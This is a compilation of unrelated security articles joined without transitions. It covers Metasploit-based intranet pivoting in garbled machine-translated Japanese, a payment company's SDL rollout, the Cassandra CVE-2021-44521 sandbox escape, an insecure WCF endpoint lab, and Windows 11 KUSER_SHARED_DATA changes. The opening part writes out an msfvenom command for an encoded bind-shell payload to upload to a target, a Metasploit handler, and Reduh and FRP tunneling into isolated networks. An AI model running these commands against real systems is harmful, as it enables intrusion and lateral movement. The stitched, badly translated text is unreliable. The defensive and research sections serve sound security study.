1049983-20240512134221866-2073188842.pngReduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。

1049983-20240512134223045-1724645033.pngここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。

1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe

2 |

3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します

4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します

5 | -i、-iterationsカウントペイロード1049983-20240512134224058-1798659542.pngのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。

1049983-20240512134224983-451445716.pngmetasploitは、転送を聞いた後のアドレスとポートです。

1 | sudo msfconsole -q

2 | MSF5 Exploit/Multi/Handlerを使用します

3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します

4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1

5 | MSF5 Exploit(Multi/Handler)Set LPort 5353

6 | MSF5 Exploit(Multi/Handler)Run -J 1049983-20240512134225767-1569256900.png Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。

1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx

2 |

3 | Telnet 127.0.0.1 1010

4 | [CreateTunnel] 5353:127.0.0.1:53 1049983-20240512134227332-754744672.pngは、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。

1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します

2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します

3 | MSF5 Auxiliary(server/socks4a)run -J 1049983-20240512134228426-187155926.pngに注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

1049983-20240512134230822-923441708.png

分離ネットワーク(マルチレベルエージェント)

イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。

FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。

1049983-20240512134231982-920312375.pngプロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)

1049983-20240512134232742-924618499.pngプロキシルールを設定し、対応するプロキシを選択します。

1049983-20240512134233387-961964612.png 2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。

1049983-20240512134233965-1689779243.pngProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)

一、前言

一般安全都属于运维部下面,和上家公司的运维总监聊过几次一些日常安全工作能不能融入到DevOps中,没多久因为各种原因离职。18年入职5月一家第三方支付公司,前半年在各种检查中度过,监管形势严峻加上大领导对安全的重视(主要还是监管),所有部门19年的目标都和安全挂钩。由于支付公司需要面对各种监管机构的检查,部分安全做的比较完善,经过近一年对公司的熟悉发现应用安全方面比较薄弱。这部分业内比较好的解决方案就是SDL,和各厂商交流过之后决定自己照葫芦画瓢在公司一点一点推广。

1ny3pkehcx214714.png

上图为标准版的SDL,由于运维采用DevOps体系,测试也使用自动化进行功能测试,版本迭代周期比较快,安全人手不足加上对SDL的威胁建模等方法也一头雾水、如果把安全在加入整个流程会严重影响交付时间。在这种情况调研了一些业内的一些做法,决定把SDL精简化 。精简版SDL如下:

aeoyfk5chb514715.png.

二、精简版SDL落地实践

安全培训

SDL核心之一就是安全培训,所以在安全培训上我们做了安全编码、安全意识、安全知识库、安全SDK

安全编码:

我们在网上找了一些java安全编码规范、产品安全设计及开发安全规范结合公司实际业务出了一版。
aouwl0smk0g14716.png
因为各种监管机构对培训都有要求,借此推了一下安全培训,定期对开发和新员工入职的培训。
s1npa4ttwiz14717.png

安全意识:

公司有企业微信公众号,大部分员工都关注了,在公众号推广了一波。
eykrzdpfbxp14718.png
宣传完之后答题,答题满分送小礼品

sfpovyyowsv14719.png
因为人手不足,而功能测试和安全测试本质上有很多相通的地方,测试部门也比较配合,针对测试人员做了一些安全测试相关的培训,但是效果并不是太理想。

yope34pbxas14720.png

安全知识库:

在漏洞修复过程中,开发很多不太了解漏洞原理、修复方案,所以我们建立了安全知识库,开发先到安全知识库查相关解决方法。找不到的再和安全人员沟通,安全人员对知识库不断更新,形成一个闭环。

nacyaaf3x4014721.png

安全SDK

由于公司有架构部门,开发框架基本是架构部门提供。我们将一些常见的漏洞和架构部门沟通之后,让架构将一些漏洞修复方式用SDK实现,开发只需要导入JAR包,在配置文件中配置即可。其中也挺多坑的,需要慢慢优化。

n3hnro2ei4e14722.png

三、 安全需求设计

公司有项目立项系统,所有的项目立项都需要通过系统来进行立项,安全为必选项,评审会安全也必须要参与

phfch1ltbmv14723.png

这个时候基本上项目经理会找安全人员进行沟通,copy了一份VIP的产品安全设计规范,根据需求文档和项目经理确定安全需求。

nccvvjuzrtk14725.png
确认好安全需求之后将按需求加入到需求文档,并确认安全测试时间,此流程只针对新项目,已经上线的项目的需求并未按照此流程,后续在安全测试时候会讲到这部分的项目是怎么做的。

gy3i3uvgbbz14726.png

四、开发、安全测试

安全测试主要分为代码审计,漏洞扫描,手工安全测试。由此衍生出来的安全产品分为3类。DAST:动态应用程序安全测试 (wvs,appscan)、SAST:静态应用程序安全测试 (fortify,rips)、IAST:交互式应用程序安全测试 (seeker,雳鉴),这三种产品的详细介绍可以参考https://www.aqniu.com/learn/46910.html,下图为三种产品的测试结果对比。

ehusiqlpmcb14727.png
这几类产品实现了自动化可以继承到DevOps中。接下来我们将这些工具融入到开发测试阶段。
IAST的实现模式较多,常见的有代理模式、VPN、流量镜像、插桩模式,本文介绍最具代表性的2种模式,代理模式和插桩模式。一些调研过的产品如下图,具体测试结果就不公布了。

ej50igm34un14728.png

开发阶段

在对几类产品调研的时候发现IAST的插桩模式可以直接放到开发环境,开发环境和测试环境的代码区别主要还是在于application.yml配置文件,所以可以提前将该模式放到开发阶段。
开发写完代码提交到gitlab部署到开发环境启动应用的时候,开发需要验证一下功能是否可用,这个时候就可以检测出是否存在漏洞。
公司在测试环境使用rancher,把IAST的jar包放入到项目的gitlab,在部署的时候把代码拉到本地,通过修改Dockerfile文件把jar包添加到容器。

ADD shell/xxx.jar /home/app/xx/lib

由于公司项目基本统一使用spring-boot,所有的项目都通过一个start.sh脚本来启动应用,start.sh和Dockerfile一样需要添加到项目的gitlab,同时修改start.sh脚本文件即可。

-javaagent:$APP_HOME/lib/xx.jar  -jar $APP_HOME/app/*.jar --spring.profiles.active=dev >$APP_HOME/logs/startup.log 2>&1 &

测试项目如下,忽略错别字:

hdpmpmdsmdz14729.png

开发提交代码部署完之后,访问一下正常的功能即可在平台上看见是否存在漏洞。

2jcsuvwq10n14730.png

jdimfrfwrwl14731.png

zxjpcpdyo5214732.png
部分产品同时还会检测第三方组件包。

nsyynu4uyqu14733.png
公司使用harbor来对镜像进行当仓库镜像,项目部署完成之后会打包成一个镜像上传到harbor,harbor自带镜像扫描功能。

03xqpipbamf14735.png

测试阶段

开发完成之后进入到测试阶段。这个阶段我们进行静态代码扫描,功能测试,安全测试。

静态代码扫描

利用静态代码扫描工具对代码在编译之前进行扫描,并在静态代码层面上发现各种问题,其中包括安全问题。部分工具列表:
s0zk0xuwdv514736.png
静态代码扫描我们采用sonarQube集成,我们使用的是FindbugSecurity,精简规则,然后在持续构建过程中,进行静态代码bug,安全扫描。

anxa2jvwv2s14737.png

静态代码扫描的同时也可以扫描第三方依赖包,OWSAP的Dependency-Check就可以集成到持续构建过程中,由于IAST类产品支持该功能,不多做介绍。

功能测试

功能测试方面,公司测试部门实现了自动化测试平台,前期我们并未使用agent的方式检测,一开始使用开源的gourdscan加上openrasp,利用openrasp的默认开启不拦截模式和漏洞记录功能来检测服务端无返回的漏洞。
只需要在自动化平台上配置代理IP:


openrasp漏洞记录

w0zz4apefay14738.png

后来测试反馈扫描的脏数据太多,效果也并不是很好,就放弃了此方案。改用开发阶段的IAST的插桩方式,同样在测试环境也和开发环境一样利用agent来检测问题。功能测试完成之后。由于测试人员对漏洞并不是太理解,所以定的流程为测试人员到平台查看报告和安全人员沟通哪些问题需要修复,然后将问题写入到测试报告

安全测试

在测试阶段已经将安全加入到整个流程里面,所有需求更改完成都需要通过功能测试,也就是所有的流程过一遍安全测试,这样安全人手也不是很足,决定采用内外服务区分的办法来确定是否需要安全人员介入

by0poq1ke2w14739.png

漏洞管理

漏洞管理这一块制定了漏洞管理制度,根据影响程度对漏洞进行评级,严重漏洞必须改完之后才能上线,高中低危漏洞且影响较小需要排期,安全人员定期跟踪漏洞修复情况。

五、 监控

支付公司一般安全设备基本都有,这一块基本上将设备的syslog打到日志中心可视化,并定制对应的规则实现告警即可

六、结束语

个人知识和经验不足对sdl的体系并不是很熟悉,没什么经验,所以只能做到目前的程度。后续还有许多地方可以优化,增加流程等。如果有什么好的建议欢迎交流

来源: https://xz.aliyun.com/t/5656

微信截图_20220216154403.png

近日JFrog的安全研究團隊披露了Apache Cassandra中的一個RCE(遠程代碼執行)漏洞,該漏洞被分配給了CVE-2021-44521 (CVSS 8.4)。這個Apache安全漏洞很容易被利用,並且有可能對系統造成嚴重破壞,但幸運的是,它只體現在Cassandra 的非默認配置中。

Cassandra 是一個高度可擴展的分佈式NoSQL 數據庫,由於其分佈式特性的優勢,它非常受歡迎。 Cassandra 被Netflix、Twitter、Urban Airship、Constant Contact、Reddit、Cisco、OpenX、Digg、CloudKick、Ooyala 等企業使用。 Cassandra 在DevOps 和雲原生開髮圈中也非常受歡迎,這從它對CNCF 項目(例如Jaeger)的支持可以看出。

一些公司甚至提供基於Cassandra 的基於雲的一站式解決方案,例如DataStax(一種無服務器、多雲DBaaS)。

在這篇文章中,我們將介紹研究人員是如何發現RCE 安全漏洞的背景,提供有關PoC 漏洞利用的詳細信息,並分享建議的修復和緩解選項。

UDF 和NashornCassandra 提供了創建用戶定義函數(UDF) 以執行數據庫中數據的自定義處理的功能。

Cassandra UDF 默認可以用Java 和JavaScript 編寫。在JavaScript 中,它使用Java 運行時環境(JRE) 中的Nashorn 引擎,這是一個運行在Java 虛擬機(JVM) 之上的JavaScript 引擎。

在接受不受信任的代碼時,不保證Nashorn 是安全的。因此,任何允許此類行為的服務都必須始終將Nashorn 執行包含在沙箱中。

例如,運行以下Nashorn JavaScript 代碼允許執行任意shell 命令-

1.png

Cassandra 的開發團隊決定圍繞UDF 執行實現一個自定義沙箱,該沙箱使用兩種機制來限制UDF 代碼:

1.使用白名單和黑名單的過濾機制(只允許匹配白名單和不匹配黑名單的類):

2.png

2.使用Java 安全管理器來強制執行代碼的權限(在默認配置中,不授予權限)

如NashornEscape項目實施沙箱來保護Nashorn 代碼執行。

通過Nashorn 訪問Java 類Nashorn 引擎通過使用Java.type 提供對任意Java 類的訪問。

例如: var System=Java.type('java.lang.System') 將允許我們使用System 變量訪問java.lang.System 數據包。

具有足夠權限的用戶可以使用create函數查詢創建任意函數。例如,此函數會將其輸入打印到控制台:

3.png

用戶可以使用以下SELECT 查詢調用該函數。

4.png

CVE-2021-44521什麼時候會被利用當我們研究Cassandra UDF 沙箱實現時,我們意識到特定(非默認)配置選項的混合可以讓我們濫用Nashorn 引擎、逃離沙箱並實現遠程代碼執行,這就是CVE-2021-44521 的漏洞。

當cassandra.yaml 配置文件包含以下定義時,Cassandra 部署容易受到CVE-2021-44521 的攻擊:

5.png

請注意,這些是唯一需要的非默認配置選項,因為啟用UDF 時,所有用戶都可以創建和執行任意UDF,這包括默認啟用的匿名登錄(authenticator=AllowAllAuthenticator)。

請注意,Cassandra 也可以通過Config.java 配置文件進行配置,該文件支持與上述相同的標誌。

6.png

前兩個標誌啟用對Java 和JavaScript的UDF 支持。

enable_user_defined_functions_threads 是利用CVE-2021-44521 的關鍵。

Cassandra 還支持在UDF 中使用的其他腳本語言,例如Python。

JFrog 產品是否容易受到CVE-2021-44521 的攻擊?

JFrog 產品不受CVE-2021-44521 攻擊,因為它們不使用Apache Cassandra。

解釋enable_user_defined_functions_threads

源代碼(Config.java)如下:

7.png

enable_user_defined_functions_threads 默認設置為true,這意味著每個調用的UDF 函數都將在不同的線程中運行,並且具有沒有任何權限的安全管理器,我們將在後面的部分中介紹針對此默認配置的DoS 攻擊。

當該選項設置為false 時,所有調用的UDF 函數都在Cassandra 守護程序線程中運行,該線程具有具有某些權限的安全管理器。我們將展示如何濫用這些權限來實現沙箱逃逸和RCE。

請注意,源代碼中的文檔暗示關閉該值是不安全的,但由於拒絕服務漏洞。我們將演示關閉此值直接導致遠程代碼執行。

RCE通過沙箱逃逸UDF 沙箱不會直接允許我們在服務器上執行代碼,例如通過調用java.lang.Runtime.getRuntime().exec()。

在研究沙箱實現時,我們發現我們可以使用至少兩種方式逃離沙箱:

濫用Nashorn 引擎實例;

java.lang.System 的load 和loadLibrary 函數;

由於Cassandra 的類過濾機制允許訪問java.lang.System,所以這兩種方法都可以用來逃避沙箱。

第一種方法:濫用Nashorn 引擎實例為了完全逃離沙箱,我們必須:

1.禁用類過濾機制;

2.在沒有安全管理器的情況下運行;

當enable_user_defined_functions_threads 設置為false 時,我們的UDF 代碼運行在daemon 線程中,該線程具體有調用setSecurityManager 的權限!這立即允許我們關閉安全管理器,所以現在我們只需要繞過類過濾機制。

在Nashorn 上運行JavaScript 代碼時,我們可以使用this.engine 來訪問Nashorn 實例引擎。正如Beware the Nashorn 博客中所述,這實際上允許我們通過創建一個不受類過濾機制限制的新腳本引擎來繞過任何類過濾器。

但是,較新的Java 版本(8u191 及更高版本)已收到緩解措施,可在安全管理器處於活動狀態時阻止訪問this.engine。

我們可以調用setSecurityManager 來禁用安全管理器,然後訪問this.engine。

PoC 查詢結果如下所示:

8.png

此查詢將關閉安全管理器,將其設置為空,然後創建一個不受類過濾機制限制的新腳本引擎,在Cassandra服務器上運行任意shell命令。

執行PoC 是為了在Cassandra 服務器上創建一個名為“hacked”的新文件:

9.png

第二種方法:java.lang.System的load和loadLibrary函數除了Nashorn 轉義技術之外,還有更多的庫函數未被類過濾器過濾,並且在安全管理器關閉時可能被濫用於代碼執行。

例如,java.lang.System 的load 方法允許我們通過指定絕對路徑來加載任意共享對象。

假設攻擊者可以以某種方式將惡意共享對象文件上傳到易受攻擊的系統(只要攻擊者知道上傳文件的完整路徑,受害者設備上的上傳目錄是什麼並不重要),可以使用加載方法加載庫,它可以運行任意代碼作為其入口例程的一部分。

其他值得注意的漏洞當我們在一些非默認配置(儘管合理)上運行Cassandra和相關工具)時,我們發現並披露了一些值得一提的漏洞。這些選項被記錄為不安全,但我們想強這些漏洞及其確切影響,以便供應商不要在可公開訪問的網絡中部署此類配置。

Cassandra UDF 拒絕服務當啟用UDF函數並將enable_user_defined_functions_threads標誌設置為true(默認值)時,惡意用戶可以創建一個將關閉Cassandra守護進程的UDF,這是由UDF超時機制的行為引起的,該機制由user_defined_function_fail_timeout標誌控制。

如果UDF 函數運行超過分配的時間,則整個Cassandra 守護程序將被閉(不僅僅是運行UDF 的線程)。儘管這是記錄在案的行為,但攻擊者可以通過創建一個使用while(true) 永遠循環的函數來輕鬆地對整個數據庫進行DoS。

目前還沒有什麼直接方法緩解此漏洞(將user_function_timeout_policy 標誌從die 更改為ignore 可能會導致更嚴重的DoS),儘管可以通過確保低權限用戶無法創建任意UDF 來間接緩解該漏洞。

通過不安全對象反序列化的StressD RCECassandra 包含一個名為cassandra-stressd 的工具,用於對數據庫進行壓力測試。該工具已被Apache 記錄為“不安全”工具;

這是一個面向網絡的工具,默認情況下只監聽localhost 接口;

但是,這個工具可以通過提供-h標誌和IP地址來監聽任何接口;

來自套接字的輸入直接由StressServer.java 反序列化,這意味著攻擊者可能會提供一個序列化的“gadget”對象,導致反序列化時執行任意代碼:

10.png

這個漏洞的利用取決於正在運行的Cassandra 實例的類路徑中的可用類。

我們敦促用戶確保他們沒有運行帶有指向外部接口的-h 標誌的cassandra-stressd 工具。

如何修復CVE-2021-44521?我們強烈建議所有Apache Cassandra 用戶升級到以下版本,它可以緩解CVE-2021-44521:

3.0.x 用戶應升級到3.0.26

3.11.x 用戶應升級到3.11.12

4.0.x 用戶應升級到4.0.2

Apache 的修復添加了一個新標誌——allow_extra_insecure_udfs(默認為false),它不允許關閉安全管理器並阻止對java.lang.System 的訪問。

如果用戶希望他們的udf與沙箱外的元素交互(並且不介意潛在的安全風險),可以打開該標誌來恢復原來的行為(不推薦!)。

如何緩解CVE-2021-44521?對於無法升級Cassandra實例的用戶,我們建議採取以下緩解措施:

如果UDF沒有被積極使用,可以通過將enable_user_defined_functions設置為false(這是默認值)來完全禁用它們;

如果需要UDF,請將enable_user_defined_functions_threads 設置為true(這是默認值);

通過刪除以下權限來刪除為不受信任的用戶創建、更改和執行函數的權限:ALL FUNCTIONS、ALL FUNCTIONS IN KEYSPACE 和FUNCTION 用於CREATE、ALTER 和EXECUTE 查詢。

這可以使用以下查詢來完成,方法是將role_name替換為所需的角色。

11.png

總結最後,我們強烈建議將Cassandra 升級到最新版本,以避免CVE-2021-44521威脅。

0x00 前言本文將要介紹在禁用元數據發布(MEX)時WCF開發的相關內容,給出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代碼示例。

0x01 簡介本文將要介紹以下內容:

禁用MEX實現WCF

文章完整代碼示例

0x02 禁用MEX實現WCF禁用MEX時,需要根據服務端的代碼手動編寫客戶端代碼

本節採用命令行實現WCF的方式作為示例

開發工具:Visual Studio 2015

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NBTServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)修改App.config

image.png

(6)編譯運行

命令行輸出地址:net.tcp://localhost/vulnservice/runme

(7)測試

此時無法使用WcfTestClient進行測試

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NBTClient

(2)修改Program.cs

添加引用System.ServiceModel

代碼示例:

image.png

0x03 文章完整代碼示例代碼示例:

https://github.com/VerSprite/research/tree/master/projects/wcf/VulnWCFService

相關介紹:

https://versprite.com/blog/security-research/abusing-insecure-wcf-endpoints/

代碼示例實現了WCF的服務端,但是缺少安裝部分和客戶端的編寫,這裡給出完整示例

1.服務端編寫(1)下載代碼

https://github.com/VerSprite/research/tree/master/projects/wcf/VulnWCFService

(2)新建Windows Service

選擇Add-New Item.選擇Windows Service,名稱為Service1.cs

(3)設置服務信息

選中Service1.cs,右鍵-Add Installer

項目中自動創建ProjectInstaller.cs文件,該文件會添加倆個組件serviceProcessInstaller1和serviceInstaller1

選中serviceProcessInstaller1組件,查看屬性,設置account為LocalSystem

選中serviceInstaller1組件,查看屬性,設置ServiceName為VulService1

(4)啟動服務

編譯生成VulnWCFService.exe

安裝服務:

image.png

啟動服務:

image.png

補充:卸載服務

image.png

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為VulnWCFClient

(2)修改Program.cs

添加引用System.ServiceModel

代碼示例:

image.png

(3)編譯運行

編譯生成VulnWCFClient,運行後彈出System權限的計算器,測試成功

0x04 小結本文介紹了禁用元數據發布(MEX)時WCF開發的相關內容,給出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代碼示例,便於WCF相關知識的研究。

簡介不久前,我看到了一條有趣的推文,其中談到了Windows 11的內部預覽版本中KUSER_SHARED_DATA即將發生的一些變化。

1.png

這引起了我的極大興趣,因為KUSER_SHARED_DATA是一個位於靜態虛擬內存空間的結構體,在傳統的Windows內核中,它位於0xfffff78000000000處。從漏洞利用的角度來看,由於其靜態特性,攻擊者經常通過它來攻擊系統內核,特別是在遠程入侵內核的時候。雖然KUSER_SHARED_DATA結構體既沒有包含指向ntoskrnl.exe的指針,也不可執行,但有一段內存與KUSER_SHARED_DATA結構體位於同一內存頁內,並且該頁中沒有包含任何數據,因此,它可用作具有靜態地址的代碼洞。

撰寫本文時,在最新版本的windows 11 內部預覽版中,KUSER_SHARED_DATA結構體的長度為0x738字節。

1.png

在Windows上,一個給定的內存“頁面”的長度通常為0x1000字節,即4KB。由於KUSER_SHARED_DATA結構體的長度為0x738字節,所以,內存頁中仍有0x8C8字節的內存空間可供攻擊者濫用。因此,這些未使用的字節仍然具有與KUSER_SHARED_DATA結構體其他部分相同的內存權限,即RW,或讀/寫權限。這意味著: “KUSER_SHARED_DATA代碼洞”不僅是一個可讀可寫的代碼洞,而且,還具有靜態地址。實際上,Morten Schenk在BlackHat 2017的演講中早就講過這種技術,我之前也寫過一篇文章,就濫用這種結構體來執行代碼的漏洞進行了簡單介紹。

如果這個代碼洞得到了適當的處理,攻擊者就需要在內存中找到另一個位置來存放其shellcode。另外,具有讀/寫原語的攻擊者可以破壞對應於KUSER_SHARED_DATA的頁表項(PTE),從而使內存頁變為可寫的。然而,為了實現這一點,攻擊者需要繞過kASLR並將一個原語寫入內存——這意味著:攻擊者基本上已經完全控制了系統。緩解這一代碼漏洞的方法,就是迫使攻擊者首先得繞過kASLR,然後,才能將惡意代碼寫入內存,從而提高漏洞利用的門檻。如果攻擊者無法直接寫入靜態地址,則需要定位其他內存區域。因此,我們可以將其歸類為一種更小、更專用的緩解措施。無論如何,我仍然覺得這是一個有趣的研究課題。

最後,在開始之前,本文探討的內容都是在ntoskrnl.exe的上下文中進行的;當啟用基於虛擬化的安全特性(VBS)時,這些內容並不適用於VTL1級別安全內核。正如Saar Amar所指出的,這種結構體的地址,在VTL1中實際上是隨機化的。

0xfffff78000000000現在變為只讀的了對於KUSER_SHARED_DATA可能的變化,我的第一個想法是內存地址最終(不知何故)將被完全隨機化。為了驗證這一點,我將KUSER_SHARED_DATA結構體的靜態地址傳遞給了WinDbg中的dt命令,令我驚訝的是,該結構體在解析後仍然位於0xfffff78000000000處。

1.png

我的下一個想法是,嘗試以0x800為偏移量,對KUSER_SHARED_DATA結構體進行寫入操作,以查看是否發生任何意外行為。執行該操作後,通過檢查PTE,我們發現KUSER_SHARED_DATA現在變成只讀的了。

下面提供的地址0xfffffe7bc0000000是與虛擬地址0xfffff78000000000或KUSER_SHARED_DATA結構體關聯的PTE的虛擬地址。在您的系統上,可以使用Windbg的!pte0xfffff78000000000命令來查找該地址。為了提高可讀性,這裡省略了這些命令,不過,我們將告訴讀者哪些地址對應於哪些結構體,以及如何在自己的系統上面查找這些地址。

1.png

後來,有次跟同事Yarden Shafir聊天,他告訴我KUSER_SHARED_DATA中有一些東西(例如SystemTime成員)會不斷更新,同時,他還鼓勵我繼續深挖,因為很明顯,KUSER_SHARED_DATA結構體肯定是通過只讀PTE進行寫入/更新的。正如我後來發現的那樣,這也是有意義的,因為與KUSER_SHARED_DATA對應的PTE的Dirty位被設置為0,這意味著該內存頁還沒有被寫入。那麼,這到底是怎麼發生的呢?

帶著這些信息,我開始借助IDA尋找任何有趣的東西。

nt!MmWriteableUserSharedData來救場了!在IDA中搜索了0xFFFF78000000000或“usershared”之類的關鍵詞後,我偶然發現了一個我以前從未見過的符號——nt!mmwriteableusershareddata。在IDA中,這個符號似乎被定義為0xFFFF78000000000。

1.png

然而,在查看實時內核調試會話時,我注意到地址似乎有所不同。不僅如此,在重啟之後,這個地址也發生了變化!

1.png

我們還可以看到,0xFFFF78000000000靜態地址和新符號都指向相同的內存內容。

1.png

然而,是否存在這種情況:兩個單獨的內存頁面指向兩個單獨的結構體,並且其中包含相同的內容?或者它們是以某種方式交織在一起的?在查看了這兩個PTE之後,我確認了這兩個虛擬地址雖然不同,但都使用了相同的頁幀號(PFN)。此外,我們可以通過以下命令找到“靜態”KUSER_SHARED_DATA結構體和新符號nt!MmWriteableSharedUserData的PTE:

!pte0xfffff78000000000

!pte poi(nt!MmWriteableSharedUserData)

如上所述,與“靜態”KUSER_SHARED_DATA結構體相對應的PTE的地址是0xfffffe7bc000000。而地址0xffffcc340c47010正好是與nt!MmWriteableSharedUserData的PTE相對應的虛擬地址。

1.png

PFN乘以頁的大小(在Windows上通常為0x1000)將得到相應虛擬地址的物理地址(就PTE而言,它用於獲取4KB對齊頁的“最終”分頁結構)。由於這兩個虛擬地址都包含相同的PFN,這意味著當將PFN轉換為物理地址(本例中為0xfc1000)時,兩個虛擬地址將映射到相同的物理頁面! 我們可以通過查看映射到每個虛擬地址的物理地址的內容以及虛擬地址本身來確認這一點。

1.png

我們這裡有兩個虛擬地址,並且具有不同的內存權限(一個是只讀的,另一個是讀/寫的),它們由一個物理頁面提供支持。換句話說,有兩個虛擬地址具有相同物理內存的不同視圖。這怎麼可能?

內存段圍繞KUSER_SHARED_DATA實現的變動,這裡的“要點”是內存段的概念。這意味著一段內存實際上可以由兩個進程共享(內核也是如此,就像我們的例子一樣)。其工作方式是,相同的物理內存可以映射到一系列虛擬地址。

在本例中,KUSER_SHARED_DATA與nt!MmWriteableUserSharedData(一個虛擬地址)的新隨機讀/寫視圖,由與“靜態”KUSER_SHARED_DATA(另一個虛擬地址)共享同一段物理內存。這意味著,現在這個結構體具有兩個“視圖”,具體如下所示:

1.png

這意味著:只要更新其中一個虛擬地址(例如nt!MmWriteableSharedUserData)的內容,將同時更新另一個虛擬地址(0xfffff78000000000)的內容。這是因為對其中一個虛擬地址處內容的改變將更新物理內存的內容。由於這段物理內存的內容供兩個虛擬地址共享,所以,兩個虛擬地址的內容都將收到更新。這為Windows提供了一種方法:在保持舊的KUSER_SHARED_DATA地址的同時,也允許一個新的映射視圖是隨機的,以“緩解”傳統上在KUSER_SHARED_DATA結構體中發現的靜態讀寫代碼洞。0xfffff78000000000的“舊”地址現在可以被標記為只讀,因為這個內存有一個新的視圖可以用來代替它,這個視圖是隨機的!接下來,我們開始介紹更複雜、更低層次的實現細節。

nt!MiProtectSharedUserPage在繼續分析之前,請允許我介紹兩個術語。當我提到內存地址0xFFFF78000000000(KUSER_SHARED_DATA的靜態映射)時,我將使用術語“static”KUSER_SHARED_DATA。當我提及新的“隨機化映射”時,我將使用符號名nt!MmWriteableSharedUserData。這樣的話,每次都能指出我所談論的'版本'。

在WinDbg中進行了一些動態分析後,我終於搞明白了KUSER_SHARED_DATA的更新到底是如何實現的。為此,我首先在正在加載的ntoskrnl.exe上設置一個斷點。在現有的內核調試會話中,可以使用以下命令來實現這一點:

sxe ld nt

.reboot

在斷點被命中後,我們實際上可以看到新發現的符號nt!MmWriteableUserSharedData指向了“靜態”的KUSER_SHARED_DATA地址。

1.png

這顯然表明,這個符號在加載過程中會進一步更新。

在通過IDA逆向分析的過程中,我注意到在函數nt!MiProtectSharedUserPage中,對nt!MmWriteableSharedUserData有一個交叉引用,這引起了我們的極大興趣。

1.png

當執行仍然處於暫停狀態時,由於ntoskrnl.exe觸發了斷點,我趁機在上述函數nt!MiProtectSharedUserPage上設置了另一個斷點,並發現,在到達新的斷點後,nt!MmWriteableSharedUserData符號仍然指向舊的0xfff78000000000地址。

1.png

更有趣的是,“靜態的”KUSER_SHARED_DATA'在加載過程中的這一時刻仍然是靜態的,可讀的,可寫的! 下面的PTE地址0xffffb7fbc0000000是與虛擬地址0xfff78000000000相關的PTE的虛擬地址。由於我們重新啟動系統,導致ntoskrnl.exe的加載中斷,PTE地址也發生了變化。如前所述,這個地址可以通過命令!pte0xfffff78000000000找到,並且不同的系統,這個地址可能會有所差異:

1.png

因為我們知道0xfffff78000000000,這個“靜態”的KUSER_SHARED_DATA結構體的地址,在某一時刻會變成只讀的,這說明這個函數可能負責改變這個地址的權限,並且動態地填充nt!MmWriteableSharedUserData,特別是基於命名約定。

深入研究nt!MiProtectSharedUserPage的反彙編代碼,我們可以看到nt!MmWriteableSharedUserData這個符號在這個指令執行時被更新為RDI的值。但是這個值是從哪裡來的呢?

1.png

讓我們來看看這個函數的開頭部分。首先引起我們注意的就是內核模式地址和對nt!MI_READ_PTE_LOCK_FREE和nt!Feature_KernelSharedUserDataAaslr__private_IsEnabled的調用(這對我們的目的來說,興趣不大)。

1.png

上圖中內核模式地址0xfffffb7000000000,在WinDbg的反彙編窗口中用紅框標出,實際上是頁表項的基址(例如PTE數組的地址)。第二個值,即常量0x7bc00000000,是用來索引這個PTE數組的值,以獲取與“靜態”的KUSER_SHARED_DATA相關的PTE。這個值(PTE數組的索引)可以通過以下公式得到:

1、將目標虛擬地址(本例中為0xfff78000000000)轉換成虛擬頁號(VPN),方法是用地址除以一個頁面的大小(本例中為0x1000)。

2、將VPN乘以一個PTE的大小(64位系統=8字節)

我們可以用上述公式來處理虛擬地址0xfffff78000000000,得到的值就是PTE數組相應的索引,從而獲得與“靜態”的KUSER_SHARED_DATA結構體相關的PTE。這可以在上面的WinDbg的命令窗口中看到。

這意味著與“靜態”的KUSER_SHARED_DATA結構體相關的PTE將被傳入nt!MI_READ_PTE_LOCK_FREE。上述PTE的地址為0xffffb7fbc0000000。

